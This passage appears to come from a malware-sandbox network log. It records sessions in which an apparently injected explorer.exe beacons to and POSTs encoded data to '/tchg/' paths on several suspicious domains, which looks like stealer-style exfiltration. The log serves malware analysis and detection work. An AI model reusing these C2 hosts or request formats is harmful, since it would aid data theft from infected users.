May 30, 2023 11:08:54.975794077 CEST	582	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 22 3e 50 72 6f 63 65 73 73 20 30 31 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 Data Ascii: <li><a href="/">Process 01</a></li> <li><a href="/">Process 02</a></li> <li><a href="/">Process 03</a></li> </ul> </li> <li><a href="con
May 30, 2023 11:08:54.975822926 CEST	583	IN	Data Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 Data Ascii: > </form> </div> </div> </div> </div> </div> </div></div>... footer --><footer> <div class="container clearfix"> <ul class="list-social pull-right"> <li><a

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.11.20	49777	199.192.30.147	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:57.004575014 CEST	584	OUT	GET /tchg/?O0qEM=/2jSjcKJMdr4ffgZ+zzkfBSRTsT2SH0igJpEl+3lX4mpJUIOx7Qie7mq5rJzO4NdwHagEWX+5iltx1Pxra2/KdiiiY2yLTCphg==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.cookcollectives.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:08:57.291712046 CEST	585	IN	HTTP/1.1 404 Not Found Date: Tue, 30 May 2023 09:08:57 GMT Server: Apache Content-Length: 4406 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 43 6f 64 65 73 74 65 72 20 7c 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 72 65 73 70 6f 6e 73 69 76 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 33 30 30 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 73 75 70 65 72 66 69 73 68 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 65 61 73 69 6e 67 2e 31 2e 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 63 6f 6f 6b 69 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 27 2e 73 70 69 6e 6e 65 72 27 29 2e 61 6e 69 6d 61 74 65 28 7b 0d 0a 20 20 20 20 20 20 20 20 27 6f 70 61 63 69 74 79 27 3a 20 30 0d 0a 20 20 20 20 7d 2c 20 31 30 30 30 2c 20 27 65 61 73 65 4f 75 74 43 75 62 69 63 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 28 74 68 69 73 29 2e 63 73 73 28 27 64 69 73 70 6c 61 79 27 2c 20 27 6e 6f 6e 65 27 29 0d 0a 20 20 20 20 7d 29 3b 0d 0a 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 5d 3e 0d 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 69 6e 64 6f 77 73 2f 69 6e 74 65 72 6e 65 74 2d 65 78 70 6c 6f 72 65 72 2f 64 65 66 61 75 6c 74 2e 61 73 70 78 3f 6f 63 69 64 3d 69 65 36 5f 63 6f 75 6e 74 64 6f 77 6e 5f 62 61 6e 6e 65 72 63 6f 64 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 68 65 69 65 36 63 6f 75 6e 74 64 6f 77 6e 2e 63 6f 6d 2f 69 6d 67 2f 75 70 67 72 61 64 65 2e 6a 70 67 22 62 6f 72 64 65 72 3d 22 30 22 61 6c 74 3d 22 22 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 20 20 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 0d Data Ascii: <!DOCTYPE html><html lang="en"><head><title>Codester \| 404</title><meta charset="utf-8"><link rel="stylesheet" href="/css/bootstrap.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/responsive.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/style.css" type="text/css" media="screen"><link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300' rel='stylesheet' type='text/css'><script src="/js/jquery.js"></script><script src="/js/superfish.js"></script><script src="/js/jquery.easing.1.3.js"></script><script src="/js/jquery.cookie.js"></script><script>jQuery(window).load(function () { jQuery('.spinner').animate({ 'opacity': 0 }, 1000, 'easeOutCubic', function () { jQuery(this).css('display', 'none') });});</script>...[if lt IE 8]><div style='text-align:center'><a href="http://www.microsoft.com/windows/internet-explorer/default.aspx?ocid=ie6_countdown_bannercode"><img src="http://www.theie6countdown.com/img/upgrade.jpg"border="0"alt=""/></a></div> <![endif]-->...[if (gt IE 9)\|!(IE)]>...>
May 30, 2023 11:08:57.291728020 CEST	586	IN	Data Raw: 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 6c 69 6e 6b 20 72 Data Ascii: ...<![endif]-->...[if lt IE 9]><script src="js/html5.js"></script><link rel="stylesheet" href="css/docs.css" type="text/css" media="screen"><link rel="stylesheet" href="css/ie.css" type="text/css" media="screen"><link href='http:/
May 30, 2023 11:08:57.291740894 CEST	588	IN	Data Raw: 20 3c 75 6c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 22 3e 50 72 6f 63 65 73 73 20 30 31 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <ul> <li><a href="/">Process 01</a></li> <li><a href="/">Process 02</a></li> <li><a href="/">Process 03</a></li> </ul> </li> <
May 30, 2023 11:08:57.291800022 CEST	588	IN	Data Raw: 65 61 72 63 68 3c 2f 61 3e 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 Data Ascii: earch</a> </div> </form> </div> </div> </div> </div> </div> </div></div>... footer --><footer> <div class="container clearfix"> <ul class="list-social pull-right">

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.11.20	49778	130.185.109.77	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:02.355159044 CEST	590	OUT	POST /tchg/ HTTP/1.1 Host: www.printmyride.store Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.printmyride.store User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.printmyride.store/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 64 53 53 39 71 5f 68 49 6d 55 79 43 51 41 62 69 4e 71 63 54 34 31 63 6f 39 47 6d 6f 4d 6d 32 43 62 6d 37 73 78 66 6f 78 65 2d 70 68 77 41 5a 6b 54 6f 33 55 38 65 76 6e 6e 35 43 52 50 6d 76 4f 30 62 4e 47 6e 43 46 37 78 34 4e 42 53 5a 4a 50 71 77 6a 59 45 5a 64 4c 76 50 78 4d 52 45 4e 33 4c 42 31 70 46 59 39 54 74 37 66 5a 75 5f 48 46 4d 73 66 37 42 59 67 57 6d 68 75 30 7a 75 75 58 75 5a 46 79 56 71 68 59 71 32 42 64 55 31 4e 36 7e 35 43 59 4e 6b 64 59 5a 4e 34 57 5a 79 6e 61 75 54 58 33 4d 6c 6e 78 45 6e 59 46 70 33 65 58 46 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=dSS9q_hImUyCQAbiNqcT41co9GmoMm2Cbm7sxfoxe-phwAZkTo3U8evnn5CRPmvO0bNGnCF7x4NBSZJPqwjYEZdLvPxMREN3LB1pFY9Tt7fZu_HFMsf7BYgWmhu0zuuXuZFyVqhYq2BdU1N6~5CYNkdYZN4WZynauTX3MlnxEnYFp3eXFQ).
May 30, 2023 11:09:02.366657972 CEST	590	IN	HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Tue, 30 May 2023 09:09:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.11.20	49761	172.67.153.163	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:07:53.782634020 CEST	275	OUT	GET /tchg/?O0qEM=hClHY5uPluAt04hxdW9YdRNRHUMh6WFBrIjTpWTjcLdbR+/1RzzDBpsx7TGHnuWwBZdLDpA/Bvgz1IX7r92Uvnz5C/OqUTrjUQ==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.1win-legal1.top Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:07:53.852998018 CEST	276	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 30 May 2023 09:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://1win-legal1.top/tchg/?O0qEM=hClHY5uPluAt04hxdW9YdRNRHUMh6WFBrIjTpWTjcLdbR+/1RzzDBpsx7TGHnuWwBZdLDpA/Bvgz1IX7r92Uvnz5C/OqUTrjUQ==&CF1Ki=UnDuQcdCFs1MNsvY CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IpzbYQNdyL0lggGTqaP%2Fk14kPhsUrz6Dn4vnR19CKS2sV631bxOZyXwTuJnoSZWjrtKBXngsAljYFlnklV89UcWNx0uJivQcMDn0MXNMwO3eJSDs0HmIluQ9rELS5L7Dxhr%2Fhzcb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7cf5d45528e66961-FRA alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.11.20	49779	130.185.109.77	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:04.890269041 CEST	591	OUT	POST /tchg/ HTTP/1.1 Host: www.printmyride.store Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.printmyride.store User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.printmyride.store/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 64 53 53 39 71 5f 68 49 6d 55 79 43 52 67 72 69 49 4a 45 54 78 31 63 72 79 6d 6d 6f 46 47 32 4f 62 6d 48 73 78 65 73 68 65 4d 64 68 77 69 78 6b 53 70 33 55 39 65 76 6e 73 5a 43 75 51 32 76 5f 30 62 78 34 6e 44 35 37 78 38 64 42 55 71 78 50 39 77 6a 62 63 70 64 49 28 5f 78 50 61 6b 4e 74 4c 42 4a 44 46 5a 5a 54 74 49 62 5a 70 39 28 46 66 4e 66 34 46 34 67 51 67 68 75 31 6d 65 75 6a 75 5a 42 4d 56 6f 77 6a 71 46 64 64 56 56 74 36 28 35 43 58 61 6b 64 66 45 64 35 53 4a 6d 28 56 76 42 28 5a 5a 41 44 76 41 32 5a 64 6a 43 33 53 48 4f 54 5f 32 37 46 30 7e 64 76 4e 6a 36 49 47 31 4d 4d 61 67 31 69 32 68 50 6a 4d 44 62 45 4a 69 59 31 52 4c 72 41 4b 43 39 75 33 47 64 6d 42 6b 6d 42 4b 56 32 38 68 65 6d 58 51 63 53 61 34 4c 39 65 6b 41 76 76 61 74 30 49 56 4b 4a 58 79 77 74 4b 70 51 57 35 4c 50 36 35 46 61 39 4b 4a 71 6e 35 61 4b 76 66 58 58 50 64 79 6c 35 4b 32 73 53 4d 42 31 6a 65 78 66 6c 4d 44 48 39 4c 63 44 46 7a 30 66 38 42 68 54 48 67 57 42 5a 72 64 72 54 44 76 72 50 28 32 4e 61 41 5f 48 66 6b 75 4e 56 4b 61 33 67 4e 64 61 6f 33 59 43 32 68 52 53 6b 36 59 33 51 72 44 75 34 74 57 6d 46 55 47 62 64 45 69 78 36 50 6b 4e 70 50 6f 63 73 30 70 64 56 69 53 58 65 77 47 6e 37 6e 33 36 71 75 52 6c 51 74 6f 54 31 61 74 59 79 37 44 34 2d 7e 77 69 6d 46 74 74 43 36 39 58 4c 4b 66 4f 44 55 4c 67 2d 74 61 53 30 64 4a 65 4b 77 58 79 68 73 4a 28 37 71 55 7a 6f 7e 66 44 6d 32 71 6b 45 6c 5a 36 36 28 62 36 39 66 35 59 37 76 73 79 69 4c 5f 37 47 47 31 56 6e 5a 2d 4e 74 5a 75 34 48 6b 47 41 51 69 4e 71 7a 54 6f 72 55 54 41 61 4b 6f 6b 33 4f 6c 61 64 61 63 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=dSS9q_hImUyCRgriIJETx1crymmoFG2ObmHsxesheMdhwixkSp3U9evnsZCuQ2v_0bx4nD57x8dBUqxP9wjbcpdI(_xPakNtLBJDFZZTtIbZp9(FfNf4F4gQghu1meujuZBMVowjqFddVVt6(5CXakdfEd5SJm(VvB(ZZADvA2ZdjC3SHOT_27F0~dvNj6IG1MMag1i2hPjMDbEJiY1RLrAKC9u3GdmBkmBKV28hemXQcSa4L9ekAvvat0IVKJXywtKpQW5LP65Fa9KJqn5aKvfXXPdyl5K2sSMB1jexflMDH9LcDFz0f8BhTHgWBZrdrTDvrP(2NaA_HfkuNVKa3gNdao3YC2hRSk6Y3QrDu4tWmFUGbdEix6PkNpPocs0pdViSXewGn7n36quRlQtoT1atYy7D4-~wimFttC69XLKfODULg-taS0dJeKwXyhsJ(7qUzo~fDm2qkElZ66(b69f5Y7vsyiL_7GG1VnZ-NtZu4HkGAQiNqzTorUTAaKok3Oladac.
May 30, 2023 11:09:04.901141882 CEST	592	IN	HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Tue, 30 May 2023 09:09:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.11.20	49780	130.185.109.77	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:07.422894955 CEST	605	OUT	POST /tchg/ HTTP/1.1 Host: www.printmyride.store Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.printmyride.store User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.printmyride.store/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 64 53 53 39 71 5f 68 49 6d 55 79 43 52 67 72 69 49 4a 45 54 78 31 63 72 79 6d 6d 6f 46 47 32 4f 62 6d 48 73 78 65 73 68 65 4d 6c 68 77 52 4a 6b 64 71 66 55 6e 65 76 6e 6c 35 43 56 51 32 76 59 30 66 6c 30 6e 44 31 72 78 2d 56 42 55 38 74 50 39 44 62 62 5a 70 64 4e 36 5f 78 4e 52 45 4e 35 4c 42 31 58 46 64 49 6f 74 34 76 5a 75 36 37 46 64 4f 48 37 4a 49 67 57 67 68 75 78 73 2d 75 42 75 5a 4e 63 56 6f 38 6a 71 48 70 64 56 6e 6c 36 34 75 65 58 41 45 64 63 52 74 35 6e 53 32 7e 72 76 42 37 4e 5a 41 44 56 41 33 64 64 6a 45 33 53 57 35 6e 38 32 62 46 30 67 74 76 4f 6e 36 45 4b 31 4d 68 5a 67 31 6d 32 68 4e 6a 4d 52 4c 45 4a 6d 38 68 51 43 72 41 4d 50 64 76 76 43 64 69 4a 6b 6d 46 30 56 30 77 68 65 32 54 51 63 68 79 34 49 66 32 6b 63 66 76 59 69 55 49 64 66 35 58 55 77 74 36 44 51 58 5a 68 50 36 74 46 62 66 53 4a 28 7a 6c 62 61 66 66 56 59 76 63 79 6f 5a 4f 45 73 53 38 64 31 6a 66 30 66 68 38 44 47 4f 44 63 41 45 7a 7a 63 73 42 6d 62 6e 67 35 4c 35 58 74 72 54 76 52 72 50 32 7a 4e 5a 73 5f 45 5f 6b 75 64 6d 53 5a 35 51 4e 61 57 49 32 48 47 32 68 47 53 6b 33 78 33 53 48 54 76 49 42 57 6e 78 34 47 49 64 45 6a 36 36 50 67 55 35 50 75 4e 38 30 70 64 56 6d 67 58 65 30 47 6d 4b 50 33 72 4b 65 52 75 6e 35 6f 66 56 61 6a 59 79 37 53 34 2d 79 44 69 6e 38 4d 74 42 79 58 58 4a 6d 66 4a 53 45 4c 68 37 52 46 46 45 64 4d 61 4b 77 6d 76 78 77 6b 28 36 47 63 7a 72 57 70 45 57 61 71 6e 45 56 5a 7e 36 28 59 34 64 66 2d 5a 37 76 41 32 69 57 6d 37 47 71 45 56 6e 45 7a 4e 76 5a 75 35 7a 4e 33 62 44 65 69 78 52 58 43 6b 6a 66 6a 56 72 51 49 75 5f 31 6c 45 64 7a 76 34 42 4f 72 6c 56 59 56 77 54 37 4b 4e 2d 39 43 79 45 65 56 53 54 55 61 42 61 41 74 4e 52 72 76 54 5f 63 39 6c 7a 76 4e 51 4b 69 62 33 43 6e 5a 47 33 73 53 63 6c 53 72 33 31 28 77 59 56 7a 6d 38 61 41 62 55 6a 43 55 30 4b 72 49 6c 4b 7a 64 69 4e 49 65 54 4b 38 6b 47 46 39 5f 61 56 4c 57 63 64 6e 33 4d 68 28 6f 7e 45 6d 32 7e 43 44 44 65 4b 71 31 76 2d 6d 58 66 64 52 39 6e 77 31 6c 77 72 57 71 69 6f 7e 36 7a 6b 77 38 6d 74 71 57 62 44 37 43 34 55 6c 37 66 6d 28 38 36 4d 4c 51 75 47 4f 6f 73 6b 6f 64 39 50 31 75 44 4a 49 43 46 30 37 63 79 5f 6d 41 36 78 57 43 50 75 78 74 4b 49 77 38 4e 43 58 63 45 76 28 39 6d 68 56 32 6c 74 78 32 47 44 7e 39 44 76 6b 69 30 46 37 57 62 73 4b 7a 58 64 65 36 47 69 78 44 49 31 62 7a 67 51 4a 46 33 38 7a 6b 54 6b 4a 66 55 2d 71 55 57 30 39 46 28 4a 71 50 5a 43 52 69 6d 51 37 70 39 58 39 4f 77 77 74 52 4c 45 76 31 76 74 28 74 41 69 4c 76 50 33 37 54 43 30 68 62 42 55 70 78 4e 67 72 75 68 42 70 77 74 69 72 74 7a 62 30 36 4b 6c 58 7a 4e 71 53 38 72 7a 6b 41 72 50 74 59 36 31 5a 34 47 58 46 41 4e 49 4a 58 54 71 73 43 5a 6e 55 4b 65 44 45 61 32 6d 4c 68 43 4a 6e 31 67 58 62 30 53 6d 46 5a 63 46 46 5a 36 4e 59 54 46 6e 28 76 41 50 42 6e 34 65 37 76 78 62 32 74 63 62 48 77 6b 51 58 63 49 37 39 46 78 6a 54 62 62 2d 28 6c 6c 63 4c 5a 6b 56 56 59 6b 63 33 43 75 38 61 6a 52 63 4f 33 35 63 53 62 6c 57 58 59 73 43 73 7a 66 4d 4f 65 64 68 58 32 77 75 31 48 39 44 31 78 4b 55 62 69 31 77 6e 66 6e 79 49 79 4a 30 64 75 28 66 79 4f 6d 69 6d 51 46 56 6e 56 50 63 57 61 74 76 36 37 48 37 32 4c 4e 76 57 75 49 44 67 4e 45 64 45 65 77 63 31 48 55 44 7a 70 36 31 57 32 56 37 68 4a 34 2d 4f 49 6e 4f 52 47 73 58 69 47 7e 71 71 39 43 5a 73 63 4c 69 6e 6e 53 78 48 42 41 74 61 33 55 74 63 37 46 4c 66 49 43 6b 39 79 4f 78 58 41 36 30 4b 2d 6e 77 43 56 56 39 78 69 72 70 45 71 56 39 45 66 6e 58 36 59 6e 6f 4b 36 48 33 6e 42 35 44 43 34 44 64 52 79 45 73 46 6d 42 42 78 51 58 6d 53 39 72 52 43 39 6a 71 55 62 62 4e 61 79 79 47 68 4d 33 50 55 63 50 67 75 31 66 43 74 4a 4b 5a 51 4a 74 33 54 53 62 62 38 74 67 47 7a 4c 41 36 62 63 56 48 66 64 47 6f 68 59 5a 53 4d 41 79 74 79 72 46 63 54 44 74 6d 56 57 46 65 36 53 4a 65 46 44 31 4b 61 36 30 66 30 6f 62 5a 37 4e 6f 5f 37 6a 43 58 41 42 44 49 39 53 70 67 74 31 75 79 47 79 7e 38 51 68 51 58 45 4f 46 4e 47 49 52 5a 4c 67 6a 30 49 6c 57 30 4b 48 53 70 70 66 62 5a 68 39 61 45 35 30 4c 62 55 6e 64 5f 51 64 6d 73 73 58 4e 36 48 7a 78 53 4d 6d 75 53 35 59 68 67 65 46 4c 61 6f 58 7e 66 71 73 56 6f 71 42 30 35 74 78 78 6d 51 55 43 72 46 4d 36 Data Ascii: O0qEM=dSS9q_hImUyCRgriIJETx1crymmoFG2ObmHsxesheMlhwRJkdqfUnevnl5CVQ2vY0fl0nD1rx-VBU8tP9DbbZpdN6_xNREN5LB1XFdIot4vZu67FdOH7JIgWghuxs-uBuZNcVo8jqHpdVnl64ueXAEdcRt5nS2~rvB7NZADVA3ddjE3SW5n82bF0gtvOn6EK1MhZg1m2hNjMRLEJm8hQCrAMPdvvCdiJkmF0V0whe2TQchy4If2kcfvYiUIdf5XUwt6DQXZhP6tFbfSJ(zlbaffVYvcyoZOEsS8d1jf0fh8DGODcAEzzcsBmbng5L5XtrTvRrP2zNZs_E_kudmSZ5QNaWI2HG2hGSk3x3SHTvIBWnx4GIdEj66PgU5PuN80pdVmgXe0GmKP3rKeRun5ofVajYy7S4-yDin8MtByXXJmfJSELh7RFFEdMaKwmvxwk(6GczrWpEWaqnEVZ~6(Y4df-Z7vA2iWm7GqEVnEzNvZu5zN3bDeixRXCkjfjVrQIu_1lEdzv4BOrlVYVwT7KN-9CyEeVSTUaBaAtNRrvT_c9lzvNQKib3CnZG3sSclSr31(wYVzm8aAbUjCU0KrIlKzdiNIeTK8kGF9_aVLWcdn3Mh(o~Em2~CDDeKq1v-mXfdR9nw1lwrWqio~6zkw8mtqWbD7C4Ul7fm(86MLQuGOoskod9P1uDJICF07cy_mA6xWCPuxtKIw8NCXcEv(9mhV2ltx2GD~9Dvki0F7WbsKzXde6GixDI1bzgQJF38zkTkJfU-qUW09F(JqPZCRimQ7p9X9OwwtRLEv1vt(tAiLvP37TC0hbBUpxNgruhBpwtirtzb06KlXzNqS8rzkArPtY61Z4GXFANIJXTqsCZnUKeDEa2mLhCJn1gXb0SmFZcFFZ6NYTFn(vAPBn4e7vxb2tcbHwkQXcI79FxjTbb-(llcLZkVVYkc3Cu8ajRcO35cSblWXYsCszfMOedhX2wu1H9D1xKUbi1wnfnyIyJ0du(fyOmimQFVnVPcWatv67H72LNvWuIDgNEdEewc1HUDzp61W2V7hJ4-OInORGsXiG~qq9CZscLinnSxHBAta3Utc7FLfICk9yOxXA60K-nwCVV9xirpEqV9EfnX6YnoK6H3nB5DC4DdRyEsFmBBxQXmS9rRC9jqUbbNayyGhM3PUcPgu1fCtJKZQJt3TSbb8tgGzLA6bcVHfdGohYZSMAytyrFcTDtmVWFe6SJeFD1Ka60f0obZ7No_7jCXABDI9Spgt1uyGy~8QhQXEOFNGIRZLgj0IlW0KHSppfbZh9aE50LbUnd_QdmssXN6HzxSMmuS5YhgeFLaoX~fqsVoqB05txxmQUCrFM6yP9L2mIn7wShcFgHXMDnszN9OgDFOAz3Q7VhrVFopLZ~4vQPR1SBWzjXL3rVYtND60bV9FUAwAMkGhD6Z0RK-lAzoxCweXKEONO~ouLAkMlbLXQSFPwIbr1RG8NO9ICZrRRQu(bU3RJgywhWQ8L9HQ1N23xEif9Y24D4ntMsVQ1iYEfwMWNWVgV0diVQW9iF3C9iRfDmd~seNWFP5d0UvWZj_2sDRB7B1kgTGgrTIcfFBk9~_0e4HlnqKvnpP3CZbZBwAgzp4IA9jPkOiWDr-Z188R1uFtPh8Ycaj7lQ6DlCMOrGc6uSQYNOqClEVnIRH4CO0YfCHhc1qhqmy6m4FhjpDsY